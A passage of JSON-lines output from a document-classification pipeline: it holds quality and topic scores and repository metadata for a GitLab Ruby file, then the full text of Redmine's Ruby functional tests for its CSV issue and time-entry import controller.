0.4899854298431359, "2": 0.4015654479501238}, "noise_severity": {"0": 0.9832035854174276, "1": 0.015744080834158774, "2": 0.0005636150393301306, "3": 0.00028524469462067465, "4": 0.00020347401446289628}, "missing_content_severity": {"0": 0.9937997444539935, "1": 0.0027674753733500416, "2": 0.002219364553949226, "3": 0.001008534135877539, "4": 0.00020488148282939375}, "factual_density": {"0": 0.0029717492774400224, "1": 0.0068488855802832874, "2": 0.06001876583501474, "3": 0.3114631051538152, "4": 0.6186974941534467}, "pretraining_utility": {"-2": 0.007239146924837276, "-1": 0.07150524751985429, "0": 0.37236618775695485, "1": 0.4578391810226201, "2": 0.09105023677573337}, "math_density": {"0": 0.964500197054205, "1": 0.029640634289598778, "2": 0.0012858118762673512, "3": 0.0010395651448486078, "4": 0.0035337916350801973}, "code_density": {"0": 0.00019970160111462522, "1": 0.0003472226888632078, "2": 0.006332251225543719, "3": 0.0543866091021117, "4": 0.9387342153823668}, "reasoning_density": {"0": 0.550562705782555, "1": 0.12899944245328251, "2": 0.14860182423236096, "3": 0.1094123515899113, "4": 0.062423675941890334}, "education_level": {"none": 0.0011646204730840573, "0": 0.0013429452405451596, "1": 0.0042474958818229346, "2": 0.3049243453247202, "3": 0.5752235517105041, "4": 0.11309704136932346}, "creative_writing_quality": {"not_applicable": 0.999059277109799, "-2": 7.671859188517987e-05, "-1": 0.00011520241011407466, "0": 0.0005712777473913676, "1": 0.00013233162012267006, "2": 4.5192520687766175e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 5.5617898505966745e-05, "Art & Design": 0.013347876328276867, "Law & Crime": 4.386900380012844e-05, "Education & Careers": 4.784849077235621e-05, "Entertainment & Media": 3.323829280880319e-05, "Fashion & Beauty": 7.533667692136729e-05, "Business, Economics & Finance": 0.0007056764619590879, "Food & Dining": 2.5155382149925195e-05, "Games & Gaming": 0.00013466003212907074, "Electronics & Hardware": 8.472766115613994e-05, "Health, Healthcare & Wellness": 2.4419455703463437e-05, "History & Geography": 3.1863967239507214e-05, "Home, Pets & Hobbies": 2.8534238152255947e-05, "Industry & Production": 3.0398170519613057e-05, "Language, Literature & Philosophy": 3.4124592028081046e-05, "Politics & Government": 2.1380320187752734e-05, "Religion & Spirituality": 2.464706927856582e-05, "Science, Mathematics & Engineering": 0.0001348206551164201, "Relationships & Community": 2.940540049115695e-05, "Software Usage & Applications": 0.001158484761194421, "Programming & Software Engineering": 0.9834179332713004, "Sports & Fitness": 3.846426764799098e-05, "Vehicles & Transportation": 1.8363011015041896e-05, "Travel & Tourism": 3.109207726383408e-05, "Other / Uncovered Subject": 0.0003663308054319787, "Unknown / Insufficient Content": 5.5731708950067745e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.00047383802289726977, "Art & Design": 0.07912502755156417, "Law & Crime": 0.0004837470661229127, "Education & Careers": 0.00028195600415304226, "Entertainment & Media": 0.0003047123489977298, "Fashion & Beauty": 0.0002293564211375674, "Business, Economics & Finance": 0.0012577377311758652, "Food & Dining": 0.00016655835202782063, "Games & Gaming": 0.0003858629438501029, "Electronics & Hardware": 0.0003139955813819921, "Health, Healthcare & Wellness": 0.00017591849881766993, "History & Geography": 0.00015963592592743259, "Home, Pets & Hobbies": 0.00014950127197985803, "Industry & Production": 0.00012672934187908744, "Language, Literature & Philosophy": 0.0001373700944925924, "Politics & Government": 0.00016747691995123025, "Religion & Spirituality": 0.00017592990747646988, "Science, Mathematics & Engineering": 0.0005208839395171337, "Relationships & Community": 0.00016148809164692716, "Software Usage & Applications": 0.0055073450920741585, "Programming & Software Engineering": 0.010331798654499806, "Sports & Fitness": 0.00013042611875351353, "Vehicles & Transportation": 7.015231160277544e-05, "Travel & Tourism": 0.00018230247379137385, "Other / Uncovered Subject": 0.0005748968205497065, "NONE": 0.8984053525137319}}, "probabilities": {"primary": {"Academic Writing": 2.7851030392247517e-05, "Content Listing": 1.8470130514184066e-05, "Creative Writing": 9.507318237993001e-06, "Customer Support Page": 7.123525427010633e-06, "Q&A Forum": 7.877879586769786e-06, "Discussion Thread": 4.803906286311672e-06, "Comment Section": 8.750103024068337e-06, "Missing Content": 1.8028347155526596e-05, "Knowledge Article": 7.115232197399788e-05, "Legal Notices": 2.6968965886055297e-05, "News Article": 2.9291360237425632e-06, "Organizational Announcement": 9.010503565750649e-06, "Nonfiction Writing": 6.019070475105479e-06, "Organizational About Page": 7.025191447240568e-06, "Personal About Page": 4.84171307624715e-06, "Personal Blog": 4.677216419032753e-06, "Product Page": 4.5259289299713236e-06, "Spam / Ads": 6.347515445720539e-06, "Structured Data": 0.0003741974898151829, "Technical Writing": 0.9981260714884502, "Transcript / Interview": 9.424429540679201e-06, "Tutorial / How-To Guide": 8.697875634781896e-05, "User Reviews": 4.093908433992769e-06, "Other / Unknown": 0.0011533241235451297}, "secondary": {"Academic Writing": 8.0151137370888e-05, "Content Listing": 5.058536277969051e-05, "Creative Writing": 4.596207325761313e-05, "Customer Support Page": 3.57769887980342e-05, "Q&A Forum": 1.8078277750369134e-05, "Discussion Thread": 1.645389878593148e-05, "Comment Section": 5.135147184974752e-05, "Missing Content": 0.0001622149935813942, "Knowledge Article": 0.0003901530046280891, "Legal Notices": 0.00011572475616454524, "News Article": 2.6958142169480593e-05, "Organizational Announcement": 2.9342556026215865e-05, "Nonfiction Writing": 2.382468155383045e-05, "Organizational About Page": 3.0763743605979496e-05, "Personal About Page": 2.359809031525197e-05, "Personal Blog": 2.2334297983173957e-05, "Product Page": 1.7142461804714918e-05, "Spam / Ads": 2.9816730877323422e-05, "Structured Data": 0.0017494384875619406, "Technical Writing": 0.004174662225648162, "Transcript / Interview": 3.267817050053797e-05, "Tutorial / How-To Guide": 0.00022143094878227432, "User Reviews": 1.265519011119115e-05, "NONE": 0.9926389023080936}, "tertiary": {"Academic Writing": 4.827154247276941e-05, "Content Listing": 3.7851099258247184e-05, "Creative Writing": 4.175578196145909e-05, "Customer Support Page": 2.291918660084564e-05, "Q&A Forum": 1.2512633650811929e-05, "Discussion Thread": 1.0778338078865246e-05, "Comment Section": 3.5560936994987186e-05, "Missing Content": 0.00016579764249985255, "Knowledge Article": 0.00023261658666663346, "Legal Notices": 0.00013428245322455413, "News Article": 2.4115984113828845e-05, "Organizational Announcement": 2.5039340285071312e-05, "Nonfiction Writing": 2.3074867996231067e-05, "Organizational About Page": 3.269020563422841e-05, "Personal About Page": 1.50634517481389e-05, "Personal Blog": 1.776717931979674e-05, "Product Page": 1.4891769941175254e-05, "Spam / Ads": 2.395604276011142e-05, "Structured Data": 0.0007356085946708755, "Technical Writing": 0.0021337936886218433, "Transcript / Interview": 2.2384079788097375e-05, "Tutorial / How-To Guide": 0.00021175416801054597, "User Reviews": 1.1131864584414049e-05, "NONE": 0.9959663825611166}, "structured_records": {"false": 0.9972966327286377, "true": 0.002703367271362328}, "procedural_steps": {"false": 0.9926095263243134, "true": 0.007390473675686553}, "worked_solution": {"false": 0.9987810104401255, "true": 0.0012189895598745028}, "contextual_dialogue": {"false": 0.9999948259109968, "true": 5.1740890031993096e-06}, "content_quality": {"-2": 0.003143029179563703, "-1": 0.006563294947315453, "0": 0.09874279807986124, "1": 0.4899854298431359, "2": 0.4015654479501238}, "noise_severity": {"0": 0.9832035854174276, "1": 0.015744080834158774, "2": 0.0005636150393301306, "3": 0.00028524469462067465, "4": 0.00020347401446289628}, "missing_content_severity": {"0": 0.9937997444539938, "1": 0.002767475373350042, "2": 0.0022193645539492265, "3": 0.0010085341358775392, "4": 0.0002048814828293938}, "factual_density": {"0": 0.002971749277440023, "1": 0.006848885580283288, "2": 0.06001876583501475, "3": 0.31146310515381526, "4": 0.6186974941534468}, "pretraining_utility": {"-2": 0.007239146924837277, "-1": 0.0715052475198543, "0": 0.3723661877569549, "1": 0.45783918102262017, "2": 0.09105023677573339}, "math_density": {"0": 0.9645001970542051, "1": 0.02964063428959878, "2": 0.0012858118762673514, "3": 0.001039565144848608, "4": 0.0035337916350801977}, "code_density": {"0": 0.00019970160111462522, "1": 0.0003472226888632078, "2": 0.006332251225543719, "3": 0.0543866091021117, "4": 0.9387342153823668}, "reasoning_density": {"0": 0.550562705782555, "1": 0.12899944245328251, "2": 0.14860182423236096, "3": 0.1094123515899113, "4": 0.062423675941890334}, "education_level": {"none": 0.0011646204730840575, "0": 0.0013429452405451599, "1": 0.004247495881822935, "2": 0.30492434532472024, "3": 0.5752235517105042, "4": 0.11309704136932347}, "creative_writing_quality": {"not_applicable": 0.999059277109799, "-2": 7.671859188517987e-05, "-1": 0.00011520241011407466, "0": 0.0005712777473913676, "1": 0.00013233162012267006, "2": 4.5192520687766175e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 5.561789850596673e-05, "Art & Design": 0.013347876328276864, "Law & Crime": 4.3869003800128435e-05, "Education & Careers": 4.78484907723562e-05, "Entertainment & Media": 3.323829280880318e-05, "Fashion & Beauty": 7.533667692136728e-05, "Business, Economics & Finance": 0.0007056764619590878, "Food & Dining": 2.5155382149925188e-05, "Games & Gaming": 0.00013466003212907071, "Electronics & Hardware": 8.472766115613993e-05, "Health, Healthcare & Wellness": 2.441945570346343e-05, "History & Geography": 3.186396723950721e-05, "Home, Pets & Hobbies": 2.853423815225594e-05, "Industry & Production": 3.039817051961305e-05, "Language, Literature & Philosophy": 3.412459202808104e-05, "Politics & Government": 2.138032018775273e-05, "Religion & Spirituality": 2.4647069278565814e-05, "Science, Mathematics & Engineering": 0.00013482065511642008, "Relationships & Community": 2.940540049115694e-05, "Software Usage & Applications": 0.0011584847611944209, "Programming & Software Engineering": 0.9834179332713002, "Sports & Fitness": 3.846426764799097e-05, "Vehicles & Transportation": 1.8363011015041893e-05, "Travel & Tourism": 3.109207726383407e-05, "Other / Uncovered Subject": 0.0003663308054319786, "Unknown / Insufficient Content": 5.573170895006773e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.00047383802289726977, "Art & Design": 0.07912502755156417, "Law & Crime": 0.0004837470661229127, "Education & Careers": 0.00028195600415304226, "Entertainment & Media": 0.0003047123489977298, "Fashion & Beauty": 0.0002293564211375674, "Business, Economics & Finance": 0.0012577377311758652, "Food & Dining": 0.00016655835202782063, "Games & Gaming": 0.0003858629438501029, "Electronics & Hardware": 0.0003139955813819921, "Health, Healthcare & Wellness": 0.00017591849881766993, "History & Geography": 0.00015963592592743259, "Home, Pets & Hobbies": 0.00014950127197985803, "Industry & Production": 0.00012672934187908744, "Language, Literature & Philosophy": 0.0001373700944925924, "Politics & Government": 0.00016747691995123025, "Religion & Spirituality": 0.00017592990747646988, "Science, Mathematics & Engineering": 0.0005208839395171337, "Relationships & Community": 0.00016148809164692716, "Software Usage & Applications": 0.0055073450920741585, "Programming & Software Engineering": 0.010331798654499806, "Sports & Fitness": 0.00013042611875351353, "Vehicles & Transportation": 7.015231160277544e-05, "Travel & Tourism": 0.00018230247379137385, "Other / Uncovered Subject": 0.0005748968205497065, "NONE": 0.8984053525137319}}, "probability_diagnostics": {"primary": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 9558, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 9558, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:36:09.969877+00:00", "scoring_key_slot": "assistant_1", "dataset_uid": "35fbf700-9bc8-4658-b249-83161fe672ef", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "12428a632e3f29d5e75968616e4aa49acfe42587b91556cc546181fc9dbcab7b", "source_metadata": {"uuid": "35fbf700-9bc8-4658-b249-83161fe672ef", "repo_name": "gitlabhq/gitlabhq", "relative_path": "app/services/design_management/save_designs_service.rb", "category": "TOOL", "algo_rel_score": 0.9749593734741211, "quality_score": 6.812800407409668, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 115408, "repo_created_at": "2011-10-02T16:25:27.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 24030, "forks": 5758, "issues": 0, "pull_requests": 15}, "file_meta": {"content_id": "f06ef135766b9773fa4d950587b1679a571e2219", "size_bytes": 4455, "file_timestamp": 1752786723, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "9c7ce66dac0adbe72a9578939d941c275db015ff"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 115408, "repo_created_at": "2011-10-02T16:25:27.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 24030, "forks": 5758, "issues": 0, "pull_requests": 15}, "file_meta": {"content_id": "f06ef135766b9773fa4d950587b1679a571e2219", "size_bytes": 4455, "file_timestamp": 1752786723, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "9c7ce66dac0adbe72a9578939d941c275db015ff", "url": "https://github.com/gitlabhq/gitlabhq/blob/9c7ce66dac0adbe72a9578939d941c275db015ff/app/services/design_management/save_designs_service.rb"}, "gpt4o_tokens": 1011, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 1.2802669724369407, "noise_severity": 0.018540941054532644, "missing_content_severity": 0.011051332820198687, "factual_density": 3.5360657093255456, "pretraining_utility": 0.5539561132045581, "math_density": 0.0494661200170001, "code_density": 3.931108413975753, "reasoning_density": 1.0041348494552997, "education_level": 2.795410599554988, "creative_writing_quality": -0.04881664182362672}, "score_applicability": {"education_level": 0.998835379526916, "creative_writing_quality": 0.0009407228902010583}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/redmine/redmine/blob/d6ff93494354e90ecb3fb9ba3db76e21e63fdca4/test/functional/imports_controller_test.rb", "id": "ruby-0-1cbb13306712d9e7d3b76f37b357c0f2", "text": "# frozen_string_literal: true\n\n# Redmine - project management software\n# Copyright (C) 2006- \n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n\nrequire_relative '../test_helper'\n\nclass ImportsControllerTest < Redmine::ControllerTest\n include Redmine::I18n\n\n def setup\n User.current = nil\n @request.session[:user_id] = 2\n end\n\n def teardown\n Import.destroy_all\n end\n\n def test_new_should_display_the_upload_form\n get(:new, :params => {:type => 'IssueImport', :project_id => 'subproject1'})\n assert_response :success\n assert_select 'input[name=?]', 'file'\n assert_select 'input[name=?][type=?][value=?]', 'project_id', 'hidden', 'subproject1'\n end\n\n def test_new_issue_import_without_add_issues_permission\n Role.all.map { |role| role.remove_permission! :add_issues }\n get(:new, :params => {:type => 'IssueImport', :project_id => 'subproject1'})\n assert_response :forbidden\n end\n\n def test_new_time_entry_import_without_log_time_permission\n Role.all.map { |role| role.remove_permission! :log_time }\n get(:new, :params => {:type => 'TimeEntryImport', :project_id => 'subproject1'})\n assert_response :forbidden\n end\n\n def test_create_should_save_the_file\n import = new_record(Import) do\n post(\n :create,\n :params => {\n :type => 'IssueImport',\n :file => uploaded_test_file('import_issues.csv', 'text/csv')\n }\n )\n assert_response :found\n end\n assert_equal 2, import.user_id\n assert_match /\\A[0-9a-f]+\\z/, import.filename\n assert import.file_exists?\n end\n\n def test_get_settings_should_display_settings_form\n import = generate_import\n get(:settings, :params => {:id => import.to_param})\n assert_response :success\n assert_select 'select[name=?]', 'import_settings[separator]'\n assert_select 'select[name=?]', 'import_settings[wrapper]'\n assert_select 'select[name=?]', 'import_settings[encoding]' do\n encodings = valid_languages.map do |lang|\n ll(lang.to_s, :general_csv_encoding)\n end.uniq\n encodings.each do |encoding|\n assert_select 'option[value=?]', encoding\n end\n end\n assert_select 'select[name=?]', 'import_settings[date_format]'\n end\n\n def test_post_settings_should_update_settings\n import = generate_import\n\n post(\n :settings,\n :params => {\n :id => import.to_param,\n :import_settings => {\n :separator => \":\",\n :wrapper => \"|\",\n :encoding => \"UTF-8\",\n :date_format => '%m/%d/%Y'\n }\n }\n )\n assert_redirected_to \"/imports/#{import.to_param}/mapping\"\n\n import.reload\n assert_equal \":\", import.settings['separator']\n assert_equal \"|\", import.settings['wrapper']\n assert_equal \"UTF-8\", import.settings['encoding']\n assert_equal '%m/%d/%Y', import.settings['date_format']\n end\n\n def test_post_settings_should_update_total_items_count\n import = generate_import('import_iso8859-1.csv')\n\n post(\n :settings,\n :params => {\n :id => import.to_param,\n :import_settings => {\n :separator => \";\",\n :wrapper => '\"',\n :encoding => \"ISO-8859-1\"\n }\n }\n )\n assert_response :found\n import.reload\n assert_equal 2, import.total_items\n end\n\n def test_post_settings_with_wrong_encoding_should_display_error\n import = generate_import('import_iso8859-1.csv')\n\n post(\n :settings,\n :params => {\n :id => import.to_param,\n :import_settings => {\n :separator => \";\",\n :wrapper => '\"',\n :encoding => \"UTF-8\"\n }\n }\n )\n assert_response :ok\n import.reload\n assert_nil import.total_items\n assert_select 'div#flash_error', /not a valid UTF-8 encoded file/\n end\n\n def test_post_settings_with_invalid_encoding_should_display_error\n import = generate_import('invalid-Shift_JIS.csv')\n\n post(\n :settings,\n :params => {\n :id => import.to_param,\n :import_settings => {\n :separator => \";\",\n :wrapper => '\"',\n :encoding => \"Shift_JIS\"\n }\n }\n )\n assert_response :ok\n import.reload\n assert_nil import.total_items\n assert_select 'div#flash_error', /not a valid Shift_JIS encoded file/\n end\n\n def test_post_settings_with_mailformed_csv_should_display_error\n import = generate_import('unclosed_quoted_field.csv')\n\n post(\n :settings,\n :params => {\n :id => import.to_param,\n :import_settings => {\n :separator => ';',\n :wrapper => '\"',\n :encoding => 'US-ASCII'\n }\n }\n )\n assert_response :ok\n import.reload\n assert_nil import.total_items\n\n assert_select 'div#flash_error', /The file is not a CSV file or does not match the settings below \\([[:print:]]+\\)/\n end\n\n def test_post_settings_with_no_data_row_should_display_error\n import = generate_import('import_issues_no_data_row.csv')\n\n post(\n :settings,\n :params => {\n :id => import.to_param,\n :import_settings => {\n :separator => ';',\n :wrapper => '\"',\n :encoding => 'ISO-8859-1'\n }\n }\n )\n assert_response :ok\n import.reload\n assert_equal 0, import.total_items\n\n assert_select 'div#flash_error', /The file does not contain any data/\n end\n\n def test_get_mapping_should_display_mapping_form\n import = generate_import('import_iso8859-1.csv')\n import.settings = {'separator' => \";\", 'wrapper' => '\"', 'encoding' => \"ISO-8859-1\"}\n import.save!\n\n get(:mapping, :params => {:id => import.to_param})\n assert_response :success\n\n assert_select 'select[name=?]', 'import_settings[mapping][subject]' do\n assert_select 'option', 4\n assert_select 'option[value=\"0\"]', :text => 'column A'\n end\n\n assert_select 'table.sample-data' do\n assert_select 'tr', 3\n assert_select 'td', 9\n end\n end\n\n def test_get_mapping_should_auto_map_fields_by_internal_field_name_or_by_label\n import = generate_import('import_issues_auto_mapping.csv')\n import.settings = {'separator' => ';', 'wrapper'=> '\"', 'encoding' => 'ISO-8859-1'}\n import.save!\n\n get(:mapping, :params => {:id => import.to_param})\n assert_response :success\n\n # 'subject' should be auto selected because\n # - 'Subject' exists in the import file\n # - mapping is case insensitive\n assert_select 'select[name=?]', 'import_settings[mapping][subject]' do\n assert_select 'option[value=\"1\"][selected=\"selected\"]', :text => 'Subject'\n end\n\n # 'estimated_hours' should be auto selected because\n # - 'estimated_hours' exists in the import file\n assert_select 'select[name=?]', 'import_settings[mapping][estimated_hours]' do\n assert_select 'option[value=\"10\"][selected=\"selected\"]', :text => 'estimated_hours'\n end\n\n # 'fixed_version' should be auto selected because\n # - the translation 'Target version' exists in the import file\n assert_select 'select[name=?]', 'import_settings[mapping][fixed_version]' do\n assert_select 'option[value=\"7\"][selected=\"selected\"]', :text => 'target version'\n end\n\n # 'assigned_to' should not be auto selected because\n # - 'assigned_to' does not exist in the import file\n assert_select 'select[name=?]', 'import_settings[mapping][assigned_to]' do\n assert_select 'option[selected=\"selected\"]', 0\n end\n\n # Custom field 'Float field' should be auto selected because\n # - the internal field name ('cf_6') exists in the import file\n assert_select 'select[name=?]', 'import_settings[mapping][cf_6]' do\n assert_select 'option[value=\"14\"][selected=\"selected\"]', :text => 'cf_6'\n end\n\n # Custom field 'Database' should be auto selected because\n # - field name 'database' exists in the import file\n # - mapping is case insensitive\n assert_select 'select[name=?]', 'import_settings[mapping][cf_1]' do\n assert_select 'option[value=\"13\"][selected=\"selected\"]', :text => 'database'\n end\n\n # 'unique_id' should be auto selected because\n # - 'unique_id' exists in the import file\n assert_select 'select[name=?]', 'import_settings[mapping][unique_id]' do\n assert_select 'option[value=\"15\"][selected=\"selected\"]', :text => 'unique_id'\n end\n\n # 'relation_duplicates' should be auto selected because\n # - 'Is duplicate of' exists in the import file\n assert_select 'select[name=?]', 'import_settings[mapping][relation_duplicates]' do\n assert_select 'option[value=\"16\"][selected=\"selected\"]', :text => 'Is duplicate of'\n end\n end\n\n def test_post_mapping_should_update_mapping\n import = generate_import('import_iso8859-1.csv')\n\n post(\n :mapping,\n :params => {\n :id => import.to_param,\n :import_settings => {\n :mapping => {\n :project_id => '1',\n :tracker_id => '2',\n :subject => '0'\n }\n }\n }\n )\n assert_redirected_to \"/imports/#{import.to_param}/run\"\n import.reload\n mapping = import.settings['mapping']\n assert mapping\n assert_equal '1', mapping['project_id']\n assert_equal '2', mapping['tracker_id']\n assert_equal '0', mapping['subject']\n end\n\n def test_get_mapping_time_entry\n Role.find(1).add_permission! :log_time_for_other_users\n import = generate_time_entry_import\n import.settings = {'separator' => \";\", 'wrapper' => '\"', 'encoding' => \"ISO-8859-1\"}\n import.save!\n\n get(:mapping, :params => {:id => import.to_param})\n\n assert_response :success\n\n # Assert auto mapped fields\n assert_select 'select[name=?]', 'import_settings[mapping][activity]' do\n assert_select 'option[value=\"5\"][selected=\"selected\"]', :text => 'activity'\n end\n # 'user' should be mapped to column 'user' from import file\n # and not to current user because the auto map has priority\n assert_select 'select[name=?]', 'import_settings[mapping][user]' do\n assert_select 'option[value=\"7\"][selected=\"selected\"]', :text => 'user'\n end\n assert_select 'select[name=?]', 'import_settings[mapping][cf_10]' do\n assert_select 'option[value=\"6\"][selected=\"selected\"]', :text => 'overtime'\n end\n end\n\n def test_get_mapping_time_entry_for_user_with_log_time_for_other_users_permission\n Role.find(1).add_permission! :log_time_for_other_users\n import = generate_time_entry_import\n import.settings = {\n 'separator' => \";\", 'wrapper' => '\"', 'encoding' => \"ISO-8859-1\",\n # Do not auto map user in order to allow current user to be auto selected\n 'mapping' => {'user' => nil}\n }\n import.save!\n\n get(:mapping, :params => {:id => import.to_param})\n\n # 'user' field should be available because User#2 has both\n # 'import_time_entries' and 'log_time_for_other_users' permissions\n assert_select 'select[name=?]', 'import_settings[mapping][user]' do\n # Current user should be the default value if there is not auto map present\n assert_select 'option[value=\"value:2\"][selected]', :text => User.find(2).name\n assert_select 'option[value=\"value:3\"]', :text => User.find(3).name\n end\n end\n\n def test_get_mapping_time_entry_for_user_without_log_time_for_other_users_permission\n import = generate_time_entry_import\n import.settings = {'separator' => \";\", 'wrapper' => '\"', 'encoding' => \"ISO-8859-1\"}\n import.save!\n\n get(:mapping, :params => {:id => import.to_param})\n\n assert_response :success\n\n assert_select 'select[name=?]', 'import_settings[mapping][user_id]', 0\n end\n\n def test_get_run\n import = generate_import_with_mapping\n\n get(:run, :params => {:id => import})\n assert_response :success\n assert_select '#import-progress'\n end\n\n def test_post_run_should_import_the_file\n import = generate_import_with_mapping\n\n assert_difference 'Issue.count', 3 do\n post(:run, :params => {:id => import})\n assert_redirected_to \"/imports/#{import.to_param}\"\n end\n\n import.reload\n assert_equal true, import.finished\n assert_equal 3, import.items.count\n\n issues = Issue.order(:id => :desc).limit(3).to_a\n assert_equal [\"Child of existing issue\", \"Child 1\", \"First\"], issues.map(&:subject)\n end\n\n def test_post_run_should_import_max_items_and_resume\n ImportsController.any_instance.stubs(:max_items_per_request).returns(2)\n import = generate_import_with_mapping\n\n assert_difference 'Issue.count', 2 do\n post(:run, :params => {:id => import})\n assert_redirected_to \"/imports/#{import.to_param}/run\"\n end\n\n assert_difference 'Issue.count', 1 do\n post(:run, :params => {:id => import})\n assert_redirected_to \"/imports/#{import.to_param}\"\n end\n\n issues = Issue.order(:id => :desc).limit(3).to_a\n assert_equal [\"Child of existing issue\", \"Child 1\", \"First\"], issues.map(&:subject)\n end\n\n def test_post_run_with_notifications\n import = generate_import\n\n post(\n :settings,\n :params => {\n :id => import,\n :import_settings => {\n :separator => ';',\n :wrapper => '\"',\n :encoding => 'ISO-8859-1',\n :notifications => '1',\n :mapping => {\n :project_id => '1',\n :tracker => '13',\n :subject => '1',\n :assigned_to => '11',\n }\n }\n }\n )\n ActionMailer::Base.deliveries.clear\n assert_difference 'Issue.count', 3 do\n post(:run, :params => {:id => import})\n assert_response :found\n end\n actual_email_count = ActionMailer::Base.deliveries.size\n assert_not_equal 0, actual_email_count\n\n import.reload\n issue_ids = import.items.collect(&:obj_id)\n expected_email_count =\n Issue.where(:id => issue_ids).inject(0) do |sum, issue|\n sum + (issue.notified_users | issue.notified_watchers).size\n end\n assert_equal expected_email_count, actual_email_count\n end\n\n def test_show_without_errors\n import = generate_import_with_mapping\n import.run\n assert_equal 0, import.unsaved_items.count\n\n get(:show, :params => {:id => import.to_param})\n assert_response :success\n\n assert_select 'ul#saved-items'\n assert_select 'ul#saved-items li', import.saved_items.count\n assert_select 'table#unsaved-items', 0\n end\n\n def test_show_with_errors_should_show_unsaved_items\n import = generate_import_with_mapping\n import.mapping['subject'] = 20\n import.run\n assert_not_equal 0, import.unsaved_items.count\n\n get(:show, :params => {:id => import.to_param})\n assert_response :success\n\n assert_select 'table#unsaved-items'\n assert_select 'table#unsaved-items tbody tr', import.unsaved_items.count\n end\nend\n", "text_preview": "# frozen_string_literal: true # Redmine - project management software # Copyright (C) 2006- # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as publishe", "input_sha256": "87dd910e19b1a6cba0c0d186d98c5b48dfcb2dd0281d514201c8d0a9fa0de7eb", "text_sha256": "1cbb13306712d9e7d3b76f37b357c0f2c985369ccda88c0b0929dc6e94613e09", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16106, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", 